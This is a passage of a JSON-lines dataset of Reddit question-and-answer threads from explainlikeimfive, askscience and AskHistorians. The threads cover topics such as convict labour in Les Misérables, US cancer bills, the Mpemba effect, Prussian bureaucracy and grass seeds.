_Les Mis_.\n\nDuring the Revolution and after, the state began to introduce forms of civil death and deportation - many of which were ceremonial and theoretical, rather than physical - to separate criminals from the rest of society.  This included civic degradation (the ceremonial removal of citizenship, which happened with the \u00e9migr\u00e9s), legal interdiction (the suspension of all civil rights during a prison sentence), civil death (the forfeiture of one\u2019s nationality and loss of all civil rights for life), and systems of surveillance that were meant to control the bodies of everyone outside the legal boundaries of the state.  \u201cPrisons\u201d for everyday crimes often weren\u2019t stationary institutions the way we think of them today (though that would change throughout the 19th century).  Mobile units of convict workers were a common means of keeping tabs on the bodies of convicts, backed by the conception that convicts were civilly and legally dead in the eyes of the state.\n\nThis is one of the reasons Jean Valjean is such a prototypical character for that time period.   Around the time that _Les Mis_ takes place, there were an increasing number of territories within France from which ex-convicts were legally barred from living.  Spieler provides a map in her book in the chapter entitled \u201cMissing Persons,\u201d if you can obtain a copy of the book.  If you get a chance to look at that map, it\u2019s actually stunning the amount of territory that was legally off-limits for ex-convicts to live in (it\u2019s something like 80 percent of the country).  Spieler explains one of the driving justifications for a growing police state after the Revolution was a pervasive fear of \u201cthe ex-convict\u201d:\n\n >  The figure who menaced French society of the early nineteenth century more than any other was the ex-convict.\u00a0 Liberated felons elicited panic and repulsion among officials and members of the public.\u00a0 From the 1820s forward, ex-convicts became the object of legal and administrative procedures of rising complexity.\u00a0 Artful police measures arranged for their expulsion from towns and whole departments.\u00a0 Law acted in conjunction with police power to shape and underclass of hunted and placeless vagabonds (14).\n\nThis, of course, is one of the reasons French Guiana developed as a penal colony in the first place: the state had effectively imposed spatial limits on the entirety of metropolitan France such that convicts could not physically remain there.  But it also sheds an interesting contextual light on Jean Valjean's continual struggle with Javert and his criminal past, and it shows the extent to which Victor Hugo definitely did his homework when writing the novel.\n\nAs to whether or not convicts were used to drydock ships, I can't say, but you have to admit it makes for good symbolic theatre.", "An answer about physics rather than history: moving a boat isn't nearly as difficult as one would believe. I regularly move a 100 metric tons river boat by hand alone, without too much effort. It's very slow but not very athletic.\n\nSo not only is it realistic, it's not nearly as grueling as one might believe.", "If I may tack on a question:\nI understood the [scene](_URL_0_) as the recovery of a warship that was heavily damaged in one of the last naval battles of the Napoleonic Wars, symbolized by the French tricolor being dragged through the water while still attached to the mast. Would that assumption be correct?\n", "I hadn't popped into this thread because I have never seen/read \"Les Miserables,\" but since /u/SerLaron added in a clip of the scene, I think I can comment intelligently on this. \n\nFirst off, this is clearly something that's being dramatized for, uh, dramatic effect. They're showing a ship with at least one mast trailing in the water and a significant list (lean) being dragged into a dry dock, apparently during a storm, while loose rigging and ropes (and that tricolor) drag in the water. Waves are breaking over the men in the dock (boy, you'd think that ship would keep them out) while they strain to pull the ship towards them (you'd also think that if the wind/waves were blowing into the dock, they'd be running for their lives to get out of the way as the ship is thrown inward). All of this is pretty tremendously implausible; loose rigging would be cut off the ship so it could be sailed back to safety, and no one in his right mind would try to move a ship into a dock when there was a storm going on (what exactly is controlling the stern of the ship and preventing it from slamming into the sides of the drydock?)\n\nI can't really tell what kind of vessel it is from the quick flyover, but it's definitely ship-rigged (that is, it has three masts set with square sails). A ship-of-the-line of the Napoleonic period would draw let's say 20-24 feet of water, and likely more if it was damaged/leaking/listing. (You can compare this to the draft of [this model of HMS Victory](_URL_0_) -- granted, the Victory was/is a very large ship of the line, but there's substantially more that would be underwater than what they're showing there. \n\nWhich means that the guys in the bottom of the dry dock would be covered in quite a bit of water -- the ship has to float into it first, of course, and only then can the dock sealed and water be pumped out. \n\nNow, using manpower to move a ship into a dock is not at all unrealistic, but from what I've read, it would be more likely that the ship would be warped into the dock using the standard way of moving ships around not under sail -- which is to say that you'd run a line or lines from the ship to shore and use the standard force multiplier on a ship (the [capstan](_URL_1_)) to apply force and pull the ship forward. You could do that either with a fixed point on the dock, or by say taking an anchor out into a ship's boat, dropping it, and pulling the ship up to it. (Another [capstan pic](_URL_2_), from the USS Constitution.) It's not at all impossible that convicts could be used for heaving on the capstan, but I can't see what's being depicted in the scene as being realistic and/or efficient. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Penal_labour"], ["http://books.google.com/books?id=b5PwU1YukR0C&amp;dq=miranda+spieler&amp;hl=en&amp;sa=X&amp;ei=eIi8U82HDI62yAT9goHABQ&amp;ved=0CB4Q6AEwAA"], [], ["http://www.youtube.com/watch?v=e6jp_MKI_6w"], ["http://www.modelships.de/Victory_III/gDSC01594.jpg", "http://www.scottish-country-dancing-dictionary.com/images/fiddler-on-the-capstan.jpg", "http://knightdreamers.com/HomePage/Ships/PICT058R.jpg"]]}
{"q_id": "ab9jc2", "title": "why is it that even americans that do have health insurance end up with 6 figure bills for cancer treatment?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ab9jc2/eli5_why_is_it_that_even_americans_that_do_have/", "answers": {"a_id": ["ecyi914", "ecyidbj", "ecyiiws", "ecyivod", "ecyixpf", "ecyk0af"], "score": [2, 29, 6, 3, 3, 2], "text": ["A link that would probably be helpful:\n\n[This Article](_URL_0_)\n\nSkip the first bit that's anecdotal to get to the data", "honestly I'm anticipating downvoting into oblivion or removal of comment but the health care industry in the states is corrupted beyond means. the reason it's 6 figures or higher is because the majority of big medical entities place a value on treatment and medicine and never on the human life. yea, they'd love for you to live but not because they care about your life but they want you to continue living to pay.  \n  \nsick practice here in the states, no pun", "Most health insurance plans will have a cap on out of pocket expenses around 10-30k a year.  However, an insurance plan might reject a claim, leaving the patient fully responsible for a bill, and hospital bills can easily end up in the 6 figure range if they last for a day or more.", "I'm not sure it's possible to provide a single explanation - health insurances plan coverage amounts vary widely.  Now that lifetime maximums are illegal (thanks Obamacare), most health plans should cover the vast majority of a very expensive course of treatment.\n\nPerson A might receive 500k worth of medical services, but has a health plan that covers a significant amount leaving the patient will little out of pocket cost - perhaps a few copays, or a low deductible and and \"out of pocket\" (OOP).  OOP is a term to describe the maximum patient responsibility that an individual has to pay in a given year before the heal plan covers 100% of eligible expenses.\n\nPerson B might receive the same 500K of medical expenses, but they have a High Deductible Health Plan (HDHP), which are very popular nowadays.  I've seen health plans with Out of Pocket maximums in the 6 digit range.\n\nExample - a member has a HDHP with a 30,000 OOP maximum. Even though the plan might pay, let's say, $470,000 worth of the expenses, the patient would still be liable for the remaining 30k.\n\nThis is all pretty simplified, but it gives the basic idea. there's also the possibility that the patient is receiving services which are not covered for one reason or another, and those would not count towards their OOP max.", "The reason I ask is because a coworker who has the same insurance I do has a fundraiser for his wife who has cancer and they are trying to raise $75k, and our max out of pocket is $4000, so just trying to understand what else could be going on. Not judging, just thought insurance would cover a large potion. ", "For profit medicine. These companies are in business to make money plain and simple nothing and I mean nothing will stop them from trying to make as much money as possible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.theatlantic.com/business/archive/2017/06/medical-bills/530679/"], [], [], [], [], []]}
{"q_id": "brbsuu", "title": "what causes diet sweets to give you diarrhea? what actually happens inside your body?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/brbsuu/eli5_what_causes_diet_sweets_to_give_you_diarrhea/", "answers": {"a_id": ["eoc4thw", "eoc50vm"], "score": [3, 2], "text": ["It is the sweeteners found inside them. They are similar enough to glucose and other sugars our body uses for our taste receptors to think they are sweet, however ij our gut there are more specialist transporters that only work with specific sugars, mostly glucose. The sweeteners aren't compatible with them so they stay inside the gut. This is why sweeteners can taste sweet but be zero calories, your body physically cant use them.\n\nNow these sweeteners stay inside your intestines to be excreted in your poo. But if you rat them in a high enough amount it will draw water into your gut via osmosis (or prevent water already in their being absorbed by the body) extra water in your pool causes diarrhoea or loose stools.", "The polyols used in place of sugar have fewer calories because they're not completely absorbed in the body.\n\nBecause they're not completely absorbed, you have these polyols ending up in your lower intestine, your colon, where they have the same effect as fibers. They 'attract' liquid. Into your colon.\n\nWhich leads to your watery diarrhea."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "3l1p3s", "title": "What causes languages to diverge so quickly, and will mass media have a slowing effect on the divergence?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3l1p3s/what_causes_languages_to_diverge_so_quickly_and/", "answers": {"a_id": ["cv304rz"], "score": [2], "text": ["I touched on this question a bit [here](_URL_0_). To paraphrase the part relevant to your question: Languages diverge due to isolation and exposure to other languages. Afrikaans (or \"Cape Dutch\"), for a more recent example, came about due to isolation from its mother tongue and exposure to other languages. This was able to happen quickly because South Africa was a fairly difficult place to reach easily by the Europeans and the Dutch speaking majority of European settlers were surrounded by the English, Portuguese, and indigenous African population (Khoisan, mostly).\n\nAs the mass, global media came about, Afrikaans took on more English loanwords.\n\nThe same person in that thread asked specifically about Swiss and German dialects of German and if the media is merging those two together. This is where morphology took a funny turn: With higher ( > 99%) literacy and more text-based communication, spoken language is more of a *cultural* thing, so your question can't simply be answered with, \"Well, divergence is decreasing or divergence is increasing.\" The languages continue to diverge due to cultural isolation, but some aspects are *con*verging due to higher international communication\u2014 basic (conversational) communication continues to stand alone while more technical communication is merging.\n\nWhat will the linguistic landscape look like in 100 years? It's impossible to tell, but it's highly unlikely we'll see, say, Swedish and Norwegian becoming closer because Swedish will be *Swedish*. Instead, with globalized media and better education, we're more likely to see a greater understanding of foreign languages\u2014 the Swiss will still speak their own version of German while they *learn* German German as an alternative. We can see this with Scandinavian languages and English dialects: Norwegians just learn Danish and they communicate in their own native tongues respectively and they understand each other perfectly. With globalized and social media, Americans are fully capable to understand the English without changing the way they speak.\n\nSo will they eventually *con*verge? Give it 1000 years and we'll see what happens. But as it is now, we're actually becoming more multilingual, which isn't doing much to slow the divergence of languages."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/askscience/comments/3e6pgk/in_the_past_few_decades_have_different_dialects/ctdpdwr"]]}
{"q_id": "2abf91", "title": "when people sleep talk, and they are aware, are some of the things they say to you stuff they would otherwise keep inside?", "selftext": "Cus i'm pretty sure my room mate just became lesbian, and announced her love to me", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2abf91/eli5when_people_sleep_talk_and_they_are_aware_are/", "answers": {"a_id": ["citcnk7", "citcruq"], "score": [3, 2], "text": [" > are some of the things they say to you stuff they would otherwise keep inside?\n\nSleep talk, like dreams, is a gibberish mix of everything that's happened in the previous day, plus a dash of whatever-the-hell-the-brain-feels-like.\n\nSo, no. Sleep talking does not reliably reveal secrets. It's just words that come out of our mouths while we are unconscious.", "No, during sleep talk, the person is not aware of what they are saying. It is not possible to discern whether what they say is real, or imagined. It is just like a dream, some of the stuff you don't know where it came from."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ab2jsj", "title": "why do seniors with memory issues retain some information? is there something about a piece of info that makes it easier to retain?", "selftext": "Some context: my mother-in-law is 89, and has some memory issues. However, she remembers some information exceptionally well - like details about my health, or things about her grand children. She will then ask me 19 times in a row how much our Saint Bernard weighs. \n\nI\u2019m curious if there\u2019s a reason why some information seems to \u201cstick\u201d.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ab2jsj/eli5_why_do_seniors_with_memory_issues_retain/", "answers": {"a_id": ["ecwzu0m", "ecwzv0w", "ecx3cmt", "ecx73so", "ecxdrv4"], "score": [9, 3, 3, 2, 2], "text": ["Earlier memories are last to go in most cases. They will forget the children but remember the spouse. Repetition helps, ergo the same story they've told for 40 years... and the stronger the emotional connection as well, death or marriage, birth of a child.\n", "Older memories are more cemented in our mind with more connections made to them. This makes them easier to access. \n\nNew memories have less connections or no long term connections are made at all, so the person can't remember those new things", "Long term memories are stuck in there pretty good. It's the short-term stuff that goes quickly. \n\nAlso if they worked in a given career, \"everyday, like clockwork for 60 years,\" those memories are stuck in there good. I've had Alzheimer patients who were mostly not there suddenly start admiring my blouse and the stitching on the blouse (she was a seamstress. for decades). And a foreign born patient suddenly remember songs and specific dance moves to native music.", "There are many types of memory. This is a very very short overview and doesn\u2019t account for many factors e.g. encoding and retrieval processes.\n\nWorking/short term: contains 5-9 items and is linked to short-term memory. -example, remembering a phone number for a few seconds\n\nLonger term: semi-permanent when short term memories are encoded into the brain and can be retrieved at a later time.\n\nThere\u2019s also procedural memories: akin to \u201cmuscle memory\u201d that often presents itself as daily tasks, singing, instrument playing. \n\nAnd episodic memory: usually biographic accounts of events. \n\nIt boils down to how memories are encoded/stores in the brain and often where in the brain memories are stored.  The more reinforced/rehearsed the information the more crystallized (permanent) it becomes. Rehearsed activities like procedural memory are encoded differently than episodic memories and are likely cued by some stimulus, like hearing a name or picking up a guitar.", "It's a bit like the inverse of what happened if you paused and rewound the same short scene in a movie on VHS (Basic Instinct for example). Over time this repeated pausing and playing of the same scene more than the rest of the movie will damage the tape. But those memories we revisit over and over are made stronger by reinforcing those mental pathways and relationships to other thoughts and feelings and ideas."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "2w92pc", "title": "In \"The Great Gatsby\" by F. Scott Fitzgerald, Gatsby mentions that because he fought in WW1 the British let him study at an English University (Oxford) for free, or low cost. Did this actually happen for American troops in WW1?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2w92pc/in_the_great_gatsby_by_f_scott_fitzgerald_gatsby/", "answers": {"a_id": ["cootlwd", "cop6g35", "cop6wae", "copaulw"], "score": [95, 204, 92, 2], "text": ["Just an add-on question, how hard was it (during the time of the Indian struggle for Independence) to get into colleges like Oxford, Cambridge and UCL? Was it as hard as it is today or comparatively easier? (Gandhi attended UCL, if I'm not mistaken.)", "The important thing to understand is that in the 1920s/1930s there was no 'tuition fee' (as we understand them now) to attend Oxford - rather your outgoings would have comprised living costs, and expenses related to your stay at one of the constituent colleges (known as battels*). These expenses put education at this university out of reach for the vast majority of the population, save the independently wealthy.\n\nI imagine if 'Gatsby' applied to a college that deemed him a sufficient fit, with the ability to demonstrate financial stability in order to stay the course, AND he passed the university-wide mandatory Latin exam before matriculation, then they would allow him entry.\n\nI've not heard of US troops being allowed 'scholarships' at Oxford colleges on the basis of their service, until the latter half of the last century the central University wouldn't have had enough clout to demand colleges accept these kind of scholars. Undergraduate admissions was (and still is) managed by the various autonomous colleges and halls that make up the 'collegiate university'.\n\nSource: Robert Anderson, *British Universities Past and Present* (London, Hambledon Continuum: 2006)\n\nRecommended reading if you are interested in social developments at Oxford during the long 19th century: Goldman, Laurence (1995) *Dons and Workers*. Oxford: Oxford UP\n\n*EDIT: [Useful blog post from Oxford University Press](_URL_0_) which explains what battels are, whilst shedding light on some other Oxford lingo.\n", "Maybe the exact quote from the book would help someone with more knowledge of history than me come to a clear answer. \n\n\u201cIt was an opportunity they gave to some of the officers after the Armistice,\u201d he continued. \u201cWe could go to any of the universities in England or France.\u201d\n\nI cant speak to whether or not this actually happened in real life but be aware that Gatsby only says that because he needs to find an excuse how he could have went there. \n\nRemember, most of Gatsby's background is a fabrication. Earlier in the story he claimed he went to Oxford because \"all his ancestors have been educated there for many years. It is a family tradition.\" This is when he is still claiming to have come from a wealthy family in the Midwest. \n\nLater in the novel, when pressured about being an Oxford man by Tom Cavanaugh he has to admit he was only there 5 months and now changes his story that he got this opportunity because of his military service. Neither Jordan or Tom are ever convinced he went there. Even Nick, after hearing Gatsby say he \"was brought up in America but educated at Oxford,\" notices Gatsby is uncomfortable about saying as much and believes him to be lying.\n\nTL:DR I am not sure of the validity of this practice, but it is almost certainly a lie by Gatsby to cover his tracks when people realize he couldn't have gone there\n\n", "Just to make sure, I believe the book says American *officers* were allowed to do this, not all American soldiers."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://blog.oup.com/2014/10/battels-subfusc-language-university-oxford/"], [], []]}
{"q_id": "4vbpu6", "title": "What are the leading theories behind the Mpemba effect?", "selftext": "Does it point to the possibility of 'thermal momentum'? is there even such a thing?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4vbpu6/what_are_the_leading_theories_behind_the_mpemba/", "answers": {"a_id": ["d5x4xmh", "d5x6my6", "d5xeq9z"], "score": [254, 26, 4], "text": ["The Mpemba effect seems to be part truth, part anecdote, and part myth. It certainly appears true that there are situations where a warmer bottle of water will *start freezing* faster than a colder bottle.   However, in most cases the effect does not seem to be intrinsic and is explained by confounding factors. If you are looking for a \"thermal momentum\" as you put it, the answer is no.\n\nBecause of its more pop-sciency nature, the Mpemba effect has received fairly little systematic study. The most careful experiments I have seen where done by Brownridge and are summarized [in this paper](_URL_0_). His key findings are as follows:\n\n1. Colder water *always* cools down to 0^(o)C faster than warmer water when you control for artifacts. This doesn't happen only in a poorly designed experiment, e.g. where liquid water melts below the container and transfers heat more efficiently from the container to the fridge.\n2. In most cases freezing doesn't start at the freezing point. Instead the water becomes super-cooled, typically in type range of -5^(o)C - -25^(o)C. The exact onset of freezing mostly depends on the impurities that act as nucleation sites.\n3. You only get a truly robust Mpemba effect when you use two types of water with different types of impurities (e.g. distilled vs. melted snow water). The key difference then comes down to the temperature onset of the nucleation.\n\nTo sum it up, the Mpemba effect *can* be seen, but it most likely is not an intrinsic property of water and instead is due to extrinsic factors like the presence of impurities. The most important factor that determines when the water will freeze is when the impurities kick of nucleation in the liquid.", "The winning entry of the Royal Chemical Society's 2012 Mpemba effect competition was [this one](_URL_0_).\n\nThe author write: \"When a warm sample of water is\nplaced in a cold environment, the part of it next to the walls of the container gets cooled\nquickly while the inner part remains its temperature. A temperature gradient is thereby\ninduced inside of the sample which causes convective heat transport. The greater heat\ngradient gets, the convection is more expressed, and the overall cooling of the sample is\nfaster, since the heat gradient on the container walls is maintained.\"\n\nHe also mentions that the amount of supercooling one gets may depend in hard to predict ways on the initial temperature of the water.", "It is a \"trick\". Hot water will only *start* to freeze faster and only under specific conditions. \n\nIsaac Azimov liked doing this experiment and he wrote a paper on it.\n\nI am a refrigeration mechanic and have a fair amount of energy transfer training and experience. \n\nThe added btu removal from evaporation would not make hot water completely solid faster than cold under equal conditions.\n "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://scitation.aip.org/content/aapt/journal/ajp/79/1/10.1119/1.3490015"], ["http://www.rsc.org/images/nikola-bregovic-entry_tcm18-225169.pdf"], []]}
{"q_id": "7j4sj7", "title": "What does Kissinger mean when he talks about the \u201cefficient bureaucracy\u201d of Prussia?", "selftext": "In *World Order*, Henry Kissinger quickly summarizes 18th century politics in Europe with a passage that avoids a lot of interesting topics:\n\n >  The first half of the 18th century was dominated by the quest to contain France; the second was shaped by Prussia's effort to find a place for itself among the major powers. Where Louis had fought wars to translate power into hegemony, Prussia's Frederick II went to war to transmute latent weakness into great-power status. Situated on the harsh North German plain and extending from the Vistula across Germany, Prussia cultivated discipline and public service to substitute for the larger population and great resources of better-endowed countries. Split into two noncontiguous pieces, it jutted precariously into the Austrian, Swedish, Russian, and Polish spheres of influence. It was relatively sparsely populated; its strength was the discipline with which it marshaled its limited resources. Its greatest assets were civic mindedness, an efficient bureaucracy, and a well trained army.\n\nThere are many interesting points here, but what was Prussia's \"efficient bureaucracy\", how was Prussia's bureaucracy different from any other, and how could a bureaucracy be one of Prussia's \"greatest assets\" in Frederick's desire for Prussian expansion?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7j4sj7/what_does_kissinger_mean_when_he_talks_about_the/", "answers": {"a_id": ["dr43jzn", "dr4cah4", "dr4ogyg", "dr5wzxm"], "score": [198, 7, 16, 7], "text": ["So I take efficient bureaucracy to mean how politics was efficiently conducted in Germany, which allowed them to resolve conflicts better and have a pinpoint focus, or vision, of what they wanted. The sources I have divide the political apparatus of Germany into pre-1848 and post-1848, and have some focus on Bismarck's interpretation of political bureaucracy of the two periods. If this is not what your question is asking, then please ignore this. However, just to start, Prussia's efficiency is, in my perspective, derived from the lack of power in the Prussian Assembly and the ability of the \"\ntop brass\" to conduct business unimpeded, but I think it is explained below. \n\nLet's start off with a direct quote from Otto von Bismarck: \u201cConstitutional life is a series of compromises. If these are frustrated, conflicts arise. Conflicts are questions of power, and whoever has power to hand, can go his own way\u201d (Steinberg, Bismarck: A Life, p472). This was the man that engineered politics in Prussia, and he embodied the mindset of his time. \n\nPrior to 1848, the provincial diets that had been set up to appease liberals had little to no power; even their advisory capacity was ignored and they lacked the confidence of the public (Berdahl, The Politics of the Prussian Nobility, p186). Opinions on what to do swayed back and forth. The King was not decisive enough to formulate a plan on how to handle the liberal fervor that was so taking the country. The Frankfurt Assembly had gathered in 1849 to make offers to the Prussian king, giving him control of a unified Germany with liberal conditions (Kolkey, Germany on the March, p75). \n\nSo Otto von Bismarck, in a speech to the Prussian Assembly declared, \u201cThe crown of Frankfort may be very brilliant, but the gold which gives genuineness to its brilliance must first be obtained by melting down the Prussian crown; and I have no faith that a recasting in the mould of the Constitution will succeed\u201d (Legge, Rhyme and revolution in Germany, p522). This was a speech that damned liberalism in Germany. However, Bismarck ultimately needed to secure Prussia as the sole ruler of the unified Germany, without any of the liberal fetter presented by the Frankfurt Assembly. He advised the king to reject the deal, and the Frankfurt Assembly failed (Kolkey, Germany on the March, p75).\n\nWith the threat of the Frankfurt Assembly over, Bismarck still had to deal with the spread of Prussian liberalism to bring public support behind the king. To do this, Bismarck needed to give a new Prussian Diet just enough power to appease them while giving them enough representative features so that lower-class Prussians would be appeased. What he devised was a brilliant formulation of a representative assembly that did exactly what it should do and no more: \u201cBy granting the liberals a few of their requests (such as a parliament), Bismarck minimized the revolution\u2019s effect by creating a government with a parliament, but one which was so restricted that it was as if it did not exist at all. Even had the parliament not been so weak, the effect would have been nearly the same because the limited membership would have allowed betterment of only the upper classes\u201d (Eyck, Bismarck and the German Empire, p60). Bismarck deftly put aside any meaningful impact the revolution might have had on Prussian politics, and at the same time put the Prussian public solely behind the crown.\n\nPre-and post 1848, the political apparatus was pretty weak, and allowed the Junkers to control and direct affairs. A top-heavy political system can be extremely efficient, and was a major factor in the German Unification. \n\nEdit: Just wanted to say, some of these sources (well, really, all of them) are fascinating reads. I was most of the way through Kolkey's book before I even knew it! Him and Berdahl are the most interesting reads, since they (especially Berdahl) focus on topics that I hadn't seen much about before hand. \n\nEdit2: See below about Beamten comment, should have written about that in main comment. ", "I would assume this is all talking about the 19th century; is this a typo?", "In short, the effectiveness of the Prussian bureaucracy was its coordination of the vast majority of society towards a collective goal of national strength. \n\nBy leveraging the small population into targeted positions (civil service, military) within a greater coherent strategy, the Prussians were able to create an incredibly efficient and coordinated state. \n\nTo borrow from Marx and de Tocqueville\u2019s analysis of political economy, the coordination of the base (civil society) and the superstructure (political society) was both strong, as well as culturally celebrated in Prussia. The greatest honour was left to those who maintained their individual function to the greatest of their capacity in contributing to the strength of the Prussian state. \n\nIn Prussia, every individual member of society had a specific role that was celebrated as contributing to the strength of the collective. \n\nFor all of his dislike of Prussian elites, Hitler\u2019s bureaucratisation of Germany into a coordinated whole was the why the Third Reich was able to do what Fredrick did centuries before. And in the end, the bureaucratisation of genocide is why the Holocaust was so frighteningly efficient. ", "In short, the time from 1650 to 1750 was a time of bureaucratic consolidation in Prussia, when the needs of the state and the personality of the monarchs tuned the bureaucratic apparatus to be more effective in some areas than in most other countries.\n\nThis started with the growing demand of the standing army for money - the Great Elector expanded the standing army tenfold. To meet this, a ministry was created which superseded the traditional contributions of the estates to the financing of the army. In effect, this ministry (the Kriegskommisariat) began to take the adminstration of the land away from the locals. Combine that with the fact that the Elector's domains made up a third of Brandenburg  and half of the duchy of Prussia, which he wanted to be better developed and created a ministry for (the Geheime Hofkammer) the centralization of the administration had started. \n\nHis grandson, also called Friedrich Wilhelm (the I. - as King) continued to strengthen a centralized administration, he merged those institutions into a super ministry (the General-Ober-Finanz-Kriegs- und Domainen-Directorium), which was responsible for nearly all of the financial -  and economic politics and administration of the Kingdom of Prussia. He used this Generaldirectorium to tax and develop the country, to store grain and distribute when famine occured, to resettle devastated areas (after the Great Northern War, and several famines). Friedrich Wilhelm hated corruption (he had some corrupt bureaucrats executed) and was a stickler to details, which cultivated a sense of fearfull excellence in the bureaucrats of Prussia. His way of organizing the army (he demanded the sons of the nobility to be officers in his army) also lead the local autonomous administration (which partly existed into the days of Bismarck!) into (mostly) cooperating with the King. \n\nAnother important thing happened during F.W. reign: the university of Halle started to produce able administrators for the Prussian state. It was a centre of pietistic influence in Germany. In 1717, Friedrich Wilhelm made schooling compulsatory (this lead to Prussia becoming one of the most literate states in Europe during most of its existence). In the 1720s, it was made a mandatory prequesite for (higher) state service to have attended Halle university for two (later four) semesters. \n\nAfter Friedrich Wilhelm's son, Friedrich II., succeeded to the throne, the university of Halle became a centre of the enlightenment, while still providing nearly all of the higher bureaucrats in Prussia. Friedrich Wilhelm and Friedrich II. spent a lot of effort in encouraging the growth of manufactories in their territories, through the Generaldirectorium. This interventionalist kind of economic planning became increasingly out of touch with contemporary economic thinking during Friedrich's later reign, however. Like his father, Friedrich was obsessed with details and a workaholic, so the working climate didn't really change for bureaucrats. \n\nWhen Friedrich annexed Silesia, he had a competent bureaucracy which was adjusted to the demands of the army and the task of integrating Silesia into Prussia (and to rebuild it, if needed). \n\nThe quite excellent *Iron Kingdom* by *Christopher Clark* has more than plenty information on Prussian administrative history and was used as the main source for this post. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "2l61vc", "title": "what happens to all the unsold pumpkins and christmas trees after the holiday is over?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2l61vc/eli5_what_happens_to_all_the_unsold_pumpkins_and/", "answers": {"a_id": ["clrrtpo", "clrskwo", "clrswk6", "clrw1yi", "cls22mc"], "score": [3, 10, 28, 7, 2], "text": ["Typically shredded and composted for the spring. Or just trashed if not on a farm. ", "When I volunteered at a church-operated pumpkin patch, they had an arrangement with a pumpkin producer where the pumpkins were provided with a profit-sharing arrangement. Unsold pumpkins were sold to a farm as pig feed.", "Zombie pumpkin day at the gun range is the most fun you'll ever have. \n\n_URL_0_", "They go to the zoo. Animals love a little holiday, too. Elephants get the giant pumpkins that win prizes. Little animals get carved pumpkins that they can get inside and nibble. Ungulates like giraffes get christmas trees to play with and nibble on.\n\nIn some municipalities, they can go to compost and/or the chipper for mulch.", "Louisiana uses the trees to somehow reduce coastal erosion. I'm not entirely sure what method they use to reduce the erosion, but after Christmas the city (New Orleans metro area) picks up everyone's trees.\n\nEdit: One of many sources _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://i.imgur.com/9wf4QhR.jpg"], [], ["http://houston.cbslocal.com/2013/12/25/christmas-trees-help-fight-coastal-erosion-in-la/"]]}
{"q_id": "16culd", "title": "Is it possible to dye clouds?", "selftext": "The question is as in the title: **is it possible to dye clouds?**\n\nFor example, suppose I wanted to take a white cloud and dye it red. \n\nWhat would I have to do in order to accomplish this?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/16culd/is_it_possible_to_dye_clouds/", "answers": {"a_id": ["c7uuu6x", "c7uvlr4"], "score": [10, 22], "text": ["If clouds were the color of the water droplets that compose them, they wouldn't be white.  Dying the droplets isn't going to get you anywhere.  What you're actually seeing is the sunlight being scattered through the cloud.", "I see no reason you couldn't by aerosolizing strongly dyed water, but you'd be restricted to very pale, pastel type colors due to the rampant scattering caused by so many tiny droplets. Think of a piece of colored, hard plastic. If you make a big scratch down the middle of it, it gets much lighter, if not becoming completely white. The rough surface of the scratch scatters the incoming light and interferes with the absorption effects that would colorize the light. So yes, you could probably alter the color of clouds in a tiny way, but they will always be mostly white in direct sunlight."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "6bd6ir", "title": "what are u.s. territories?", "selftext": "What exactly are the U.S. Territories and how do they work?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6bd6ir/eli5_what_are_us_territories/", "answers": {"a_id": ["dhlnhhj", "dhm4bzb"], "score": [10, 3], "text": ["They are areas of the world under the control of the US government but are not officially part of the US itself. Selected parts of the US constitution apply to them. They don't have representatives in Congress, but their citizens are treated as US citizens. The legal jurisdiction over them is a combination of federal jurisdiction and their own territory court or commonwealth court.", "Note that US citizenship is questionable in US Territories, and depends on specific laws passed for specific territories.  For example, if you are born in American Samoa but neither of your parents is a US citizen, then you are considered a US national but not a US citizen.  In fact your US passport is stamped \"The bearer is a United States national and not a United States citizen\"\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "cluqph", "title": "how are grass seeds made?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/cluqph/eli5_how_are_grass_seeds_made/", "answers": {"a_id": ["evxyld8", "evy0m2m", "evy1tde", "evy7pu4", "evy9xkx", "evynsex", "evz9jzw"], "score": [1784, 242, 18, 65, 36, 68, 6], "text": ["Grass produces seed heads, you've probably seen those before. The seeds from those seed heads are harvested, dried and sold. If you put them into soil and water them, they sprout and grow into new grass. People who don't want those on their lawn make sure the conditions for the grass stays constant, it receives enough water and is mowed regularly (so seed heads can't develop).", "Lawns are usually cut before the grass can produce seeds. If you don\u2019t cut grass then you can harvest the seeds for sale.", "to literally answer your question :\n\nunattended grass actually makes flowers, disseminates its pollen, fecundates other grass flowers, boom : frootz 'n' seedz\n\nfun fact, this process is highly hazardous to my health and FUCK THE END OF SPRING", "Grasses are members of the Poaceae family. They are monocots. They are a flowering plant like any other flowering plant. They make seeds the same way other flowering plants do. They have male and female parts and are wind pollinated. As monocots, they have seeds that when they 